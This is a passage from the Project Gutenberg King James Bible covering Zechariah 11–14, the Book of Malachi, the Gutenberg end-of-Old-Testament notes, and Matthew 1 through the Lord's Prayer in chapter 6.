Open thy doors, O Lebanon, that the fire may devour thy cedars. + +11:2 Howl, fir tree; for the cedar is fallen; because the mighty are +spoiled: howl, O ye oaks of Bashan; for the forest of the vintage is +come down. + +11:3 There is a voice of the howling of the shepherds; for their glory +is spoiled: a voice of the roaring of young lions; for the pride of +Jordan is spoiled. + +11:4 Thus saith the LORD my God; Feed the flock of the slaughter; 11:5 +Whose possessors slay them, and hold themselves not guilty: and they +that sell them say, Blessed be the LORD; for I am rich: and their own +shepherds pity them not. + +11:6 For I will no more pity the inhabitants of the land, saith the +LORD: but, lo, I will deliver the men every one into his neighbour's +hand, and into the hand of his king: and they shall smite the land, +and out of their hand I will not deliver them. + +11:7 And I will feed the flock of slaughter, even you, O poor of the +flock. And I took unto me two staves; the one I called Beauty, and the +other I called Bands; and I fed the flock. + +11:8 Three shepherds also I cut off in one month; and my soul lothed +them, and their soul also abhorred me. + +11:9 Then said I, I will not feed you: that that dieth, let it die; +and that that is to be cut off, let it be cut off; and let the rest +eat every one the flesh of another. + +11:10 And I took my staff, even Beauty, and cut it asunder, that I +might break my covenant which I had made with all the people. + +11:11 And it was broken in that day: and so the poor of the flock that +waited upon me knew that it was the word of the LORD. + +11:12 And I said unto them, If ye think good, give me my price; and if +not, forbear. So they weighed for my price thirty pieces of silver. + +11:13 And the LORD said unto me, Cast it unto the potter: a goodly +price that I was prised at of them. And I took the thirty pieces of +silver, and cast them to the potter in the house of the LORD. + +11:14 Then I cut asunder mine other staff, even Bands, that I might +break the brotherhood between Judah and Israel. + +11:15 And the LORD said unto me, Take unto thee yet the instruments of +a foolish shepherd. + +11:16 For, lo, I will raise up a shepherd in the land, which shall not +visit those that be cut off, neither shall seek the young one, nor +heal that that is broken, nor feed that that standeth still: but he +shall eat the flesh of the fat, and tear their claws in pieces. + +11:17 Woe to the idol shepherd that leaveth the flock! the sword shall +be upon his arm, and upon his right eye: his arm shall be clean dried +up, and his right eye shall be utterly darkened. + +12:1 The burden of the word of the LORD for Israel, saith the LORD, +which stretcheth forth the heavens, and layeth the foundation of the +earth, and formeth the spirit of man within him. + +12:2 Behold, I will make Jerusalem a cup of trembling unto all the +people round about, when they shall be in the siege both against Judah +and against Jerusalem. + +12:3 And in that day will I make Jerusalem a burdensome stone for all +people: all that burden themselves with it shall be cut in pieces, +though all the people of the earth be gathered together against it. + +12:4 In that day, saith the LORD, I will smite every horse with +astonishment, and his rider with madness: and I will open mine eyes +upon the house of Judah, and will smite every horse of the people with +blindness. + +12:5 And the governors of Judah shall say in their heart, The +inhabitants of Jerusalem shall be my strength in the LORD of hosts +their God. + +12:6 In that day will I make the governors of Judah like an hearth of +fire among the wood, and like a torch of fire in a sheaf; and they +shall devour all the people round about, on the right hand and on the +left: and Jerusalem shall be inhabited again in her own place, even in +Jerusalem. + +12:7 The LORD also shall save the tents of Judah first, that the glory +of the house of David and the glory of the inhabitants of Jerusalem do +not magnify themselves against Judah. + +12:8 In that day shall the LORD defend the inhabitants of Jerusalem; +and he that is feeble among them at that day shall be as David; and +the house of David shall be as God, as the angel of the LORD before +them. + +12:9 And it shall come to pass in that day, that I will seek to +destroy all the nations that come against Jerusalem. + +12:10 And I will pour upon the house of David, and upon the +inhabitants of Jerusalem, the spirit of grace and of supplications: +and they shall look upon me whom they have pierced, and they shall +mourn for him, as one mourneth for his only son, and shall be in +bitterness for him, as one that is in bitterness for his firstborn. + +12:11 In that day shall there be a great mourning in Jerusalem, as the +mourning of Hadadrimmon in the valley of Megiddon. + +12:12 And the land shall mourn, every family apart; the family of the +house of David apart, and their wives apart; the family of the house +of Nathan apart, and their wives apart; 12:13 The family of the house +of Levi apart, and their wives apart; the family of Shimei apart, and +their wives apart; 12:14 All the families that remain, every family +apart, and their wives apart. + +13:1 In that day there shall be a fountain opened to the house of +David and to the inhabitants of Jerusalem for sin and for uncleanness. + +13:2 And it shall come to pass in that day, saith the LORD of hosts, +that I will cut off the names of the idols out of the land, and they +shall no more be remembered: and also I will cause the prophets and +the unclean spirit to pass out of the land. + +13:3 And it shall come to pass, that when any shall yet prophesy, then +his father and his mother that begat him shall say unto him, Thou +shalt not live; for thou speakest lies in the name of the LORD: and +his father and his mother that begat him shall thrust him through when +he prophesieth. + +13:4 And it shall come to pass in that day, that the prophets shall be +ashamed every one of his vision, when he hath prophesied; neither +shall they wear a rough garment to deceive: 13:5 But he shall say, I +am no prophet, I am an husbandman; for man taught me to keep cattle +from my youth. + +13:6 And one shall say unto him, What are these wounds in thine hands? +Then he shall answer, Those with which I was wounded in the house of +my friends. + +13:7 Awake, O sword, against my shepherd, and against the man that is +my fellow, saith the LORD of hosts: smite the shepherd, and the sheep +shall be scattered: and I will turn mine hand upon the little ones. + +13:8 And it shall come to pass, that in all the land, saith the LORD, +two parts therein shall be cut off and die; but the third shall be +left therein. + +13:9 And I will bring the third part through the fire, and will refine +them as silver is refined, and will try them as gold is tried: they +shall call on my name, and I will hear them: I will say, It is my +people: and they shall say, The LORD is my God. + +14:1 Behold, the day of the LORD cometh, and thy spoil shall be +divided in the midst of thee. + +14:2 For I will gather all nations against Jerusalem to battle; and +the city shall be taken, and the houses rifled, and the women +ravished; and half of the city shall go forth into captivity, and the +residue of the people shall not be cut off from the city. + +14:3 Then shall the LORD go forth, and fight against those nations, as +when he fought in the day of battle. + +14:4 And his feet shall stand in that day upon the mount of Olives, +which is before Jerusalem on the east, and the mount of Olives shall +cleave in the midst thereof toward the east and toward the west, and +there shall be a very great valley; and half of the mountain shall +remove toward the north, and half of it toward the south. + +14:5 And ye shall flee to the valley of the mountains; for the valley +of the mountains shall reach unto Azal: yea, ye shall flee, like as ye +fled from before the earthquake in the days of Uzziah king of Judah: +and the LORD my God shall come, and all the saints with thee. + +14:6 And it shall come to pass in that day, that the light shall not +be clear, nor dark: 14:7 But it shall be one day which shall be known +to the LORD, not day, nor night: but it shall come to pass, that at +evening time it shall be light. + +14:8 And it shall be in that day, that living waters shall go out from +Jerusalem; half of them toward the former sea, and half of them toward +the hinder sea: in summer and in winter shall it be. + +14:9 And the LORD shall be king over all the earth: in that day shall +there be one LORD, and his name one. + +14:10 All the land shall be turned as a plain from Geba to Rimmon +south of Jerusalem: and it shall be lifted up, and inhabited in her +place, from Benjamin's gate unto the place of the first gate, unto the +corner gate, and from the tower of Hananeel unto the king's +winepresses. + +14:11 And men shall dwell in it, and there shall be no more utter +destruction; but Jerusalem shall be safely inhabited. + +14:12 And this shall be the plague wherewith the LORD will smite all +the people that have fought against Jerusalem; Their flesh shall +consume away while they stand upon their feet, and their eyes shall +consume away in their holes, and their tongue shall consume away in +their mouth. + +14:13 And it shall come to pass in that day, that a great tumult from +the LORD shall be among them; and they shall lay hold every one on the +hand of his neighbour, and his hand shall rise up against the hand of +his neighbour. + +14:14 And Judah also shall fight at Jerusalem; and the wealth of all +the heathen round about shall be gathered together, gold, and silver, +and apparel, in great abundance. + +14:15 And so shall be the plague of the horse, of the mule, of the +camel, and of the ass, and of all the beasts that shall be in these +tents, as this plague. + +14:16 And it shall come to pass, that every one that is left of all +the nations which came against Jerusalem shall even go up from year to +year to worship the King, the LORD of hosts, and to keep the feast of +tabernacles. + +14:17 And it shall be, that whoso will not come up of all the families +of the earth unto Jerusalem to worship the King, the LORD of hosts, +even upon them shall be no rain. + +14:18 And if the family of Egypt go not up, and come not, that have no +rain; there shall be the plague, wherewith the LORD will smite the +heathen that come not up to keep the feast of tabernacles. + +14:19 This shall be the punishment of Egypt, and the punishment of all +nations that come not up to keep the feast of tabernacles. + +14:20 In that day shall there be upon the bells of the horses, +HOLINESS UNTO THE LORD; and the pots in the LORD's house shall be like +the bowls before the altar. + +14:21 Yea, every pot in Jerusalem and in Judah shall be holiness unto +the LORD of hosts: and all they that sacrifice shall come and take of +them, and seethe therein: and in that day there shall be no more the +Canaanite in the house of the LORD of hosts. + + + + +Malachi + + +1:1 The burden of the word of the LORD to Israel by Malachi. + +1:2 I have loved you, saith the LORD. Yet ye say, Wherein hast thou +loved us? Was not Esau Jacob's brother? saith the LORD: yet I loved +Jacob, 1:3 And I hated Esau, and laid his mountains and his heritage +waste for the dragons of the wilderness. + +1:4 Whereas Edom saith, We are impoverished, but we will return and +build the desolate places; thus saith the LORD of hosts, They shall +build, but I will throw down; and they shall call them, The border of +wickedness, and, The people against whom the LORD hath indignation for +ever. + +1:5 And your eyes shall see, and ye shall say, The LORD will be +magnified from the border of Israel. + +1:6 A son honoureth his father, and a servant his master: if then I be +a father, where is mine honour? and if I be a master, where is my +fear? saith the LORD of hosts unto you, O priests, that despise my +name. And ye say, Wherein have we despised thy name? 1:7 Ye offer +polluted bread upon mine altar; and ye say, Wherein have we polluted +thee? In that ye say, The table of the LORD is contemptible. + +1:8 And if ye offer the blind for sacrifice, is it not evil? and if ye +offer the lame and sick, is it not evil? offer it now unto thy +governor; will he be pleased with thee, or accept thy person? saith +the LORD of hosts. + +1:9 And now, I pray you, beseech God that he will be gracious unto us: +this hath been by your means: will he regard your persons? saith the +LORD of hosts. + +1:10 Who is there even among you that would shut the doors for nought? +neither do ye kindle fire on mine altar for nought. I have no pleasure +in you, saith the LORD of hosts, neither will I accept an offering at +your hand. + +1:11 For from the rising of the sun even unto the going down of the +same my name shall be great among the Gentiles; and in every place +incense shall be offered unto my name, and a pure offering: for my +name shall be great among the heathen, saith the LORD of hosts. + +1:12 But ye have profaned it, in that ye say, The table of the LORD is +polluted; and the fruit thereof, even his meat, is contemptible. + +1:13 Ye said also, Behold, what a weariness is it! and ye have snuffed +at it, saith the LORD of hosts; and ye brought that which was torn, +and the lame, and the sick; thus ye brought an offering: should I +accept this of your hand? saith the LORD. + +1:14 But cursed be the deceiver, which hath in his flock a male, and +voweth, and sacrificeth unto the LORD a corrupt thing: for I am a +great King, saith the LORD of hosts, and my name is dreadful among the +heathen. + +2:1 And now, O ye priests, this commandment is for you. + +2:2 If ye will not hear, and if ye will not lay it to heart, to give +glory unto my name, saith the LORD of hosts, I will even send a curse +upon you, and I will curse your blessings: yea, I have cursed them +already, because ye do not lay it to heart. + +2:3 Behold, I will corrupt your seed, and spread dung upon your faces, +even the dung of your solemn feasts; and one shall take you away with +it. + +2:4 And ye shall know that I have sent this commandment unto you, that +my covenant might be with Levi, saith the LORD of hosts. + +2:5 My covenant was with him of life and peace; and I gave them to him +for the fear wherewith he feared me, and was afraid before my name. + +2:6 The law of truth was in his mouth, and iniquity was not found in +his lips: he walked with me in peace and equity, and did turn many +away from iniquity. + +2:7 For the priest's lips should keep knowledge, and they should seek +the law at his mouth: for he is the messenger of the LORD of hosts. + +2:8 But ye are departed out of the way; ye have caused many to stumble +at the law; ye have corrupted the covenant of Levi, saith the LORD of +hosts. + +2:9 Therefore have I also made you contemptible and base before all +the people, according as ye have not kept my ways, but have been +partial in the law. + +2:10 Have we not all one father? hath not one God created us? why do +we deal treacherously every man against his brother, by profaning the +covenant of our fathers? 2:11 Judah hath dealt treacherously, and an +abomination is committed in Israel and in Jerusalem; for Judah hath +profaned the holiness of the LORD which he loved, and hath married the +daughter of a strange god. + +2:12 The LORD will cut off the man that doeth this, the master and the +scholar, out of the tabernacles of Jacob, and him that offereth an +offering unto the LORD of hosts. + +2:13 And this have ye done again, covering the altar of the LORD with +tears, with weeping, and with crying out, insomuch that he regardeth +not the offering any more, or receiveth it with good will at your +hand. + +2:14 Yet ye say, Wherefore? Because the LORD hath been witness between +thee and the wife of thy youth, against whom thou hast dealt +treacherously: yet is she thy companion, and the wife of thy covenant. + +2:15 And did not he make one? Yet had he the residue of the spirit. +And wherefore one? That he might seek a godly seed. Therefore take +heed to your spirit, and let none deal treacherously against the wife +of his youth. + +2:16 For the LORD, the God of Israel, saith that he hateth putting +away: for one covereth violence with his garment, saith the LORD of +hosts: therefore take heed to your spirit, that ye deal not +treacherously. + +2:17 Ye have wearied the LORD with your words. Yet ye say, Wherein +have we wearied him? When ye say, Every one that doeth evil is good in +the sight of the LORD, and he delighteth in them; or, Where is the God +of judgment? 3:1 Behold, I will send my messenger, and he shall +prepare the way before me: and the LORD, whom ye seek, shall suddenly +come to his temple, even the messenger of the covenant, whom ye +delight in: behold, he shall come, saith the LORD of hosts. + +3:2 But who may abide the day of his coming? and who shall stand when +he appeareth? for he is like a refiner's fire, and like fullers' soap: +3:3 And he shall sit as a refiner and purifier of silver: and he shall +purify the sons of Levi, and purge them as gold and silver, that they +may offer unto the LORD an offering in righteousness. + +3:4 Then shall the offering of Judah and Jerusalem be pleasant unto +the LORD, as in the days of old, and as in former years. + +3:5 And I will come near to you to judgment; and I will be a swift +witness against the sorcerers, and against the adulterers, and against +false swearers, and against those that oppress the hireling in his +wages, the widow, and the fatherless, and that turn aside the stranger +from his right, and fear not me, saith the LORD of hosts. + +3:6 For I am the LORD, I change not; therefore ye sons of Jacob are +not consumed. + +3:7 Even from the days of your fathers ye are gone away from mine +ordinances, and have not kept them. Return unto me, and I will return +unto you, saith the LORD of hosts. But ye said, Wherein shall we +return? 3:8 Will a man rob God? Yet ye have robbed me. But ye say, +Wherein have we robbed thee? In tithes and offerings. + +3:9 Ye are cursed with a curse: for ye have robbed me, even this whole +nation. + +3:10 Bring ye all the tithes into the storehouse, that there may be +meat in mine house, and prove me now herewith, saith the LORD of +hosts, if I will not open you the windows of heaven, and pour you out +a blessing, that there shall not be room enough to receive it. + +3:11 And I will rebuke the devourer for your sakes, and he shall not +destroy the fruits of your ground; neither shall your vine cast her +fruit before the time in the field, saith the LORD of hosts. + +3:12 And all nations shall call you blessed: for ye shall be a +delightsome land, saith the LORD of hosts. + +3:13 Your words have been stout against me, saith the LORD. Yet ye +say, What have we spoken so much against thee? 3:14 Ye have said, It +is vain to serve God: and what profit is it that we have kept his +ordinance, and that we have walked mournfully before the LORD of +hosts? 3:15 And now we call the proud happy; yea, they that work +wickedness are set up; yea, they that tempt God are even delivered. + +3:16 Then they that feared the LORD spake often one to another: and +the LORD hearkened, and heard it, and a book of remembrance was +written before him for them that feared the LORD, and that thought +upon his name. + +3:17 And they shall be mine, saith the LORD of hosts, in that day when +I make up my jewels; and I will spare them, as a man spareth his own +son that serveth him. + +3:18 Then shall ye return, and discern between the righteous and the +wicked, between him that serveth God and him that serveth him not. + +4:1 For, behold, the day cometh, that shall burn as an oven; and all +the proud, yea, and all that do wickedly, shall be stubble: and the +day that cometh shall burn them up, saith the LORD of hosts, that it +shall leave them neither root nor branch. + +4:2 But unto you that fear my name shall the Sun of righteousness +arise with healing in his wings; and ye shall go forth, and grow up as +calves of the stall. + +4:3 And ye shall tread down the wicked; for they shall be ashes under +the soles of your feet in the day that I shall do this, saith the LORD +of hosts. + +4:4 Remember ye the law of Moses my servant, which I commanded unto +him in Horeb for all Israel, with the statutes and judgments. + +4:5 Behold, I will send you Elijah the prophet before the coming of +the great and dreadful day of the LORD: 4:6 And he shall turn the +heart of the fathers to the children, and the heart of the children to +their fathers, lest I come and smite the earth with a curse. + +End of the Project Gutenberg Edition of the Old Testament + + +*** + + +The New Testament of the King James Bible + +[Paragraphing done by an anonymous Project Gutenberg volunter.] + +[This King James Bible was orginally posted by Project Gutenberg +in late 1989, representing the entire output of Project Gutenberg +for the 1980's as our edition of Shakespeare failed to meet the +requirement of our copyright analysts.] + + + +The Gospel According to Saint Matthew + + +1:1 The book of the generation of Jesus Christ, the son of David, the +son of Abraham. + +1:2 Abraham begat Isaac; and Isaac begat Jacob; and Jacob begat Judas +and his brethren; 1:3 And Judas begat Phares and Zara of Thamar; and +Phares begat Esrom; and Esrom begat Aram; 1:4 And Aram begat Aminadab; +and Aminadab begat Naasson; and Naasson begat Salmon; 1:5 And Salmon +begat Booz of Rachab; and Booz begat Obed of Ruth; and Obed begat +Jesse; 1:6 And Jesse begat David the king; and David the king begat +Solomon of her that had been the wife of Urias; 1:7 And Solomon begat +Roboam; and Roboam begat Abia; and Abia begat Asa; 1:8 And Asa begat +Josaphat; and Josaphat begat Joram; and Joram begat Ozias; 1:9 And +Ozias begat Joatham; and Joatham begat Achaz; and Achaz begat Ezekias; +1:10 And Ezekias begat Manasses; and Manasses begat Amon; and Amon +begat Josias; 1:11 And Josias begat Jechonias and his brethren, about +the time they were carried away to Babylon: 1:12 And after they were +brought to Babylon, Jechonias begat Salathiel; and Salathiel begat +Zorobabel; 1:13 And Zorobabel begat Abiud; and Abiud begat Eliakim; +and Eliakim begat Azor; 1:14 And Azor begat Sadoc; and Sadoc begat +Achim; and Achim begat Eliud; 1:15 And Eliud begat Eleazar; and +Eleazar begat Matthan; and Matthan begat Jacob; 1:16 And Jacob begat +Joseph the husband of Mary, of whom was born Jesus, who is called +Christ. + +1:17 So all the generations from Abraham to David are fourteen +generations; and from David until the carrying away into Babylon are +fourteen generations; and from the carrying away into Babylon unto +Christ are fourteen generations. + +1:18 Now the birth of Jesus Christ was on this wise: When as his +mother Mary was espoused to Joseph, before they came together, she was +found with child of the Holy Ghost. + +1:19 Then Joseph her husband, being a just man, and not willing to +make her a publick example, was minded to put her away privily. + +1:20 But while he thought on these things, behold, the angel of the +LORD appeared unto him in a dream, saying, Joseph, thou son of David, +fear not to take unto thee Mary thy wife: for that which is conceived +in her is of the Holy Ghost. + +1:21 And she shall bring forth a son, and thou shalt call his name +JESUS: for he shall save his people from their sins. + +1:22 Now all this was done, that it might be fulfilled which was +spoken of the Lord by the prophet, saying, 1:23 Behold, a virgin shall +be with child, and shall bring forth a son, and they shall call his +name Emmanuel, which being interpreted is, God with us. + +1:24 Then Joseph being raised from sleep did as the angel of the Lord +had bidden him, and took unto him his wife: 1:25 And knew her not till +she had brought forth her firstborn son: and he called his name JESUS. + +2:1 Now when Jesus was born in Bethlehem of Judaea in the days of +Herod the king, behold, there came wise men from the east to +Jerusalem, 2:2 Saying, Where is he that is born King of the Jews? for +we have seen his star in the east, and are come to worship him. + +2:3 When Herod the king had heard these things, he was troubled, and +all Jerusalem with him. + +2:4 And when he had gathered all the chief priests and scribes of the +people together, he demanded of them where Christ should be born. + +2:5 And they said unto him, In Bethlehem of Judaea: for thus it is +written by the prophet, 2:6 And thou Bethlehem, in the land of Juda, +art not the least among the princes of Juda: for out of thee shall +come a Governor, that shall rule my people Israel. + +2:7 Then Herod, when he had privily called the wise men, enquired of +them diligently what time the star appeared. + +2:8 And he sent them to Bethlehem, and said, Go and search diligently +for the young child; and when ye have found him, bring me word again, +that I may come and worship him also. + +2:9 When they had heard the king, they departed; and, lo, the star, +which they saw in the east, went before them, till it came and stood +over where the young child was. + +2:10 When they saw the star, they rejoiced with exceeding great joy. + +2:11 And when they were come into the house, they saw the young child +with Mary his mother, and fell down, and worshipped him: and when they +had opened their treasures, they presented unto him gifts; gold, and +frankincense and myrrh. + +2:12 And being warned of God in a dream that they should not return to +Herod, they departed into their own country another way. + +2:13 And when they were departed, behold, the angel of the Lord +appeareth to Joseph in a dream, saying, Arise, and take the young +child and his mother, and flee into Egypt, and be thou there until I +bring thee word: for Herod will seek the young child to destroy him. + +2:14 When he arose, he took the young child and his mother by night, +and departed into Egypt: 2:15 And was there until the death of Herod: +that it might be fulfilled which was spoken of the Lord by the +prophet, saying, Out of Egypt have I called my son. + +2:16 Then Herod, when he saw that he was mocked of the wise men, was +exceeding wroth, and sent forth, and slew all the children that were +in Bethlehem, and in all the coasts thereof, from two years old and +under, according to the time which he had diligently enquired of the +wise men. + +2:17 Then was fulfilled that which was spoken by Jeremy the prophet, +saying, 2:18 In Rama was there a voice heard, lamentation, and +weeping, and great mourning, Rachel weeping for her children, and +would not be comforted, because they are not. + +2:19 But when Herod was dead, behold, an angel of the Lord appeareth +in a dream to Joseph in Egypt, 2:20 Saying, Arise, and take the young +child and his mother, and go into the land of Israel: for they are +dead which sought the young child's life. + +2:21 And he arose, and took the young child and his mother, and came +into the land of Israel. + +2:22 But when he heard that Archelaus did reign in Judaea in the room +of his father Herod, he was afraid to go thither: notwithstanding, +being warned of God in a dream, he turned aside into the parts of +Galilee: 2:23 And he came and dwelt in a city called Nazareth: that it +might be fulfilled which was spoken by the prophets, He shall be +called a Nazarene. + +3:1 In those days came John the Baptist, preaching in the wilderness +of Judaea, 3:2 And saying, Repent ye: for the kingdom of heaven is at +hand. + +3:3 For this is he that was spoken of by the prophet Esaias, saying, +The voice of one crying in the wilderness, Prepare ye the way of the +Lord, make his paths straight. + +3:4 And the same John had his raiment of camel's hair, and a leathern +girdle about his loins; and his meat was locusts and wild honey. + +3:5 Then went out to him Jerusalem, and all Judaea, and all the region +round about Jordan, 3:6 And were baptized of him in Jordan, confessing +their sins. + +3:7 But when he saw many of the Pharisees and Sadducees come to his +baptism, he said unto them, O generation of vipers, who hath warned +you to flee from the wrath to come? 3:8 Bring forth therefore fruits +meet for repentance: 3:9 And think not to say within yourselves, We +have Abraham to our father: for I say unto you, that God is able of +these stones to raise up children unto Abraham. + +3:10 And now also the axe is laid unto the root of the trees: +therefore every tree which bringeth not forth good fruit is hewn down, +and cast into the fire. + +3:11 I indeed baptize you with water unto repentance. but he that +cometh after me is mightier than I, whose shoes I am not worthy to +bear: he shall baptize you with the Holy Ghost, and with fire: 3:12 +Whose fan is in his hand, and he will throughly purge his floor, and +gather his wheat into the garner; but he will burn up the chaff with +unquenchable fire. + +3:13 Then cometh Jesus from Galilee to Jordan unto John, to be +baptized of him. + +3:14 But John forbad him, saying, I have need to be baptized of thee, +and comest thou to me? 3:15 And Jesus answering said unto him, Suffer +it to be so now: for thus it becometh us to fulfil all righteousness. +Then he suffered him. + +3:16 And Jesus, when he was baptized, went up straightway out of the +water: and, lo, the heavens were opened unto him, and he saw the +Spirit of God descending like a dove, and lighting upon him: 3:17 And +lo a voice from heaven, saying, This is my beloved Son, in whom I am +well pleased. + +4:1 Then was Jesus led up of the spirit into the wilderness to be +tempted of the devil. + +4:2 And when he had fasted forty days and forty nights, he was +afterward an hungred. + +4:3 And when the tempter came to him, he said, If thou be the Son of +God, command that these stones be made bread. + +4:4 But he answered and said, It is written, Man shall not live by +bread alone, but by every word that proceedeth out of the mouth of +God. + +4:5 Then the devil taketh him up into the holy city, and setteth him +on a pinnacle of the temple, 4:6 And saith unto him, If thou be the +Son of God, cast thyself down: for it is written, He shall give his +angels charge concerning thee: and in their hands they shall bear thee +up, lest at any time thou dash thy foot against a stone. + +4:7 Jesus said unto him, It is written again, Thou shalt not tempt the +Lord thy God. + +4:8 Again, the devil taketh him up into an exceeding high mountain, +and sheweth him all the kingdoms of the world, and the glory of them; +4:9 And saith unto him, All these things will I give thee, if thou +wilt fall down and worship me. + +4:10 Then saith Jesus unto him, Get thee hence, Satan: for it is +written, Thou shalt worship the Lord thy God, and him only shalt thou +serve. + +4:11 Then the devil leaveth him, and, behold, angels came and +ministered unto him. + +4:12 Now when Jesus had heard that John was cast into prison, he +departed into Galilee; 4:13 And leaving Nazareth, he came and dwelt in +Capernaum, which is upon the sea coast, in the borders of Zabulon and +Nephthalim: 4:14 That it might be fulfilled which was spoken by Esaias +the prophet, saying, 4:15 The land of Zabulon, and the land of +Nephthalim, by the way of the sea, beyond Jordan, Galilee of the +Gentiles; 4:16 The people which sat in darkness saw great light; and +to them which sat in the region and shadow of death light is sprung +up. + +4:17 From that time Jesus began to preach, and to say, Repent: for the +kingdom of heaven is at hand. + +4:18 And Jesus, walking by the sea of Galilee, saw two brethren, Simon +called Peter, and Andrew his brother, casting a net into the sea: for +they were fishers. + +4:19 And he saith unto them, Follow me, and I will make you fishers of +men. + +4:20 And they straightway left their nets, and followed him. + +4:21 And going on from thence, he saw other two brethren, James the +son of Zebedee, and John his brother, in a ship with Zebedee their +father, mending their nets; and he called them. + +4:22 And they immediately left the ship and their father, and followed +him. + +4:23 And Jesus went about all Galilee, teaching in their synagogues, +and preaching the gospel of the kingdom, and healing all manner of +sickness and all manner of disease among the people. + +4:24 And his fame went throughout all Syria: and they brought unto him +all sick people that were taken with divers diseases and torments, and +those which were possessed with devils, and those which were lunatick, +and those that had the palsy; and he healed them. + +4:25 And there followed him great multitudes of people from Galilee, +and from Decapolis, and from Jerusalem, and from Judaea, and from +beyond Jordan. + +5:1 And seeing the multitudes, he went up into a mountain: and when he +was set, his disciples came unto him: 5:2 And he opened his mouth, and +taught them, saying, 5:3 Blessed are the poor in spirit: for theirs is +the kingdom of heaven. + +5:4 Blessed are they that mourn: for they shall be comforted. + +5:5 Blessed are the meek: for they shall inherit the earth. + +5:6 Blessed are they which do hunger and thirst after righteousness: +for they shall be filled. + +5:7 Blessed are the merciful: for they shall obtain mercy. + +5:8 Blessed are the pure in heart: for they shall see God. + +5:9 Blessed are the peacemakers: for they shall be called the children +of God. + +5:10 Blessed are they which are persecuted for righteousness' sake: +for theirs is the kingdom of heaven. + +5:11 Blessed are ye, when men shall revile you, and persecute you, and +shall say all manner of evil against you falsely, for my sake. + +5:12 Rejoice, and be exceeding glad: for great is your reward in +heaven: for so persecuted they the prophets which were before you. + +5:13 Ye are the salt of the earth: but if the salt have lost his +savour, wherewith shall it be salted? it is thenceforth good for +nothing, but to be cast out, and to be trodden under foot of men. + +5:14 Ye are the light of the world. A city that is set on an hill +cannot be hid. + +5:15 Neither do men light a candle, and put it under a bushel, but on +a candlestick; and it giveth light unto all that are in the house. + +5:16 Let your light so shine before men, that they may see your good +works, and glorify your Father which is in heaven. + +5:17 Think not that I am come to destroy the law, or the prophets: I +am not come to destroy, but to fulfil. + +5:18 For verily I say unto you, Till heaven and earth pass, one jot or +one tittle shall in no wise pass from the law, till all be fulfilled. + +5:19 Whosoever therefore shall break one of these least commandments, +and shall teach men so, he shall be called the least in the kingdom of +heaven: but whosoever shall do and teach them, the same shall be +called great in the kingdom of heaven. + +5:20 For I say unto you, That except your righteousness shall exceed +the righteousness of the scribes and Pharisees, ye shall in no case +enter into the kingdom of heaven. + +5:21 Ye have heard that it was said of them of old time, Thou shalt +not kill; and whosoever shall kill shall be in danger of the judgment: +5:22 But I say unto you, That whosoever is angry with his brother +without a cause shall be in danger of the judgment: and whosoever +shall say to his brother, Raca, shall be in danger of the council: but +whosoever shall say, Thou fool, shall be in danger of hell fire. + +5:23 Therefore if thou bring thy gift to the altar, and there +rememberest that thy brother hath ought against thee; 5:24 Leave there +thy gift before the altar, and go thy way; first be reconciled to thy +brother, and then come and offer thy gift. + +5:25 Agree with thine adversary quickly, whiles thou art in the way +with him; lest at any time the adversary deliver thee to the judge, +and the judge deliver thee to the officer, and thou be cast into +prison. + +5:26 Verily I say unto thee, Thou shalt by no means come out thence, +till thou hast paid the uttermost farthing. + +5:27 Ye have heard that it was said by them of old time, Thou shalt +not commit adultery: 5:28 But I say unto you, That whosoever looketh +on a woman to lust after her hath committed adultery with her already +in his heart. + +5:29 And if thy right eye offend thee, pluck it out, and cast it from +thee: for it is profitable for thee that one of thy members should +perish, and not that thy whole body should be cast into hell. + +5:30 And if thy right hand offend thee, cut it off, and cast it from +thee: for it is profitable for thee that one of thy members should +perish, and not that thy whole body should be cast into hell. + +5:31 It hath been said, Whosoever shall put away his wife, let him +give her a writing of divorcement: 5:32 But I say unto you, That +whosoever shall put away his wife, saving for the cause of +fornication, causeth her to commit adultery: and whosoever shall marry +her that is divorced committeth adultery. + +5:33 Again, ye have heard that it hath been said by them of old time, +Thou shalt not forswear thyself, but shalt perform unto the Lord thine +oaths: 5:34 But I say unto you, Swear not at all; neither by heaven; +for it is God's throne: 5:35 Nor by the earth; for it is his +footstool: neither by Jerusalem; for it is the city of the great King. + +5:36 Neither shalt thou swear by thy head, because thou canst not make +one hair white or black. + +5:37 But let your communication be, Yea, yea; Nay, nay: for whatsoever +is more than these cometh of evil. + +5:38 Ye have heard that it hath been said, An eye for an eye, and a +tooth for a tooth: 5:39 But I say unto you, That ye resist not evil: +but whosoever shall smite thee on thy right cheek, turn to him the +other also. + +5:40 And if any man will sue thee at the law, and take away thy coat, +let him have thy cloak also. + +5:41 And whosoever shall compel thee to go a mile, go with him twain. + +5:42 Give to him that asketh thee, and from him that would borrow of +thee turn not thou away. + +5:43 Ye have heard that it hath been said, Thou shalt love thy +neighbour, and hate thine enemy. + +5:44 But I say unto you, Love your enemies, bless them that curse you, +do good to them that hate you, and pray for them which despitefully +use you, and persecute you; 5:45 That ye may be the children of your +Father which is in heaven: for he maketh his sun to rise on the evil +and on the good, and sendeth rain on the just and on the unjust. + +5:46 For if ye love them which love you, what reward have ye? do not +even the publicans the same? 5:47 And if ye salute your brethren +only, what do ye more than others? do not even the publicans so? 5:48 +Be ye therefore perfect, even as your Father which is in heaven is +perfect. + +6:1 Take heed that ye do not your alms before men, to be seen of them: +otherwise ye have no reward of your Father which is in heaven. + +6:2 Therefore when thou doest thine alms, do not sound a trumpet +before thee, as the hypocrites do in the synagogues and in the +streets, that they may have glory of men. Verily I say unto you, They +have their reward. + +6:3 But when thou doest alms, let not thy left hand know what thy +right hand doeth: 6:4 That thine alms may be in secret: and thy Father +which seeth in secret himself shall reward thee openly. + +6:5 And when thou prayest, thou shalt not be as the hypocrites are: +for they love to pray standing in the synagogues and in the corners of +the streets, that they may be seen of men. Verily I say unto you, They +have their reward. + +6:6 But thou, when thou prayest, enter into thy closet, and when thou +hast shut thy door, pray to thy Father which is in secret; and thy +Father which seeth in secret shall reward thee openly. + +6:7 But when ye pray, use not vain repetitions, as the heathen do: for +they think that they shall be heard for their much speaking. + +6:8 Be not ye therefore like unto them: for your Father knoweth what +things ye have need of, before ye ask him. + +6:9 After this manner therefore pray ye: Our Father which art in +heaven, Hallowed be thy name. + +6:10 Thy kingdom come, Thy will be done in earth, as it is in heaven. + +6:11 Give us this day our daily bread. + +6:12 And forgive us our debts, as we forgive our debtors. + +6:13 And lead us not into temptation, but deliver us from evil: For +thine is the kingdom, and the power, and the glory, for ever. Amen. + +6:14 For if ye forgive men their trespasses, your heavenly Father will +also forgive you: 6:15 But if ye 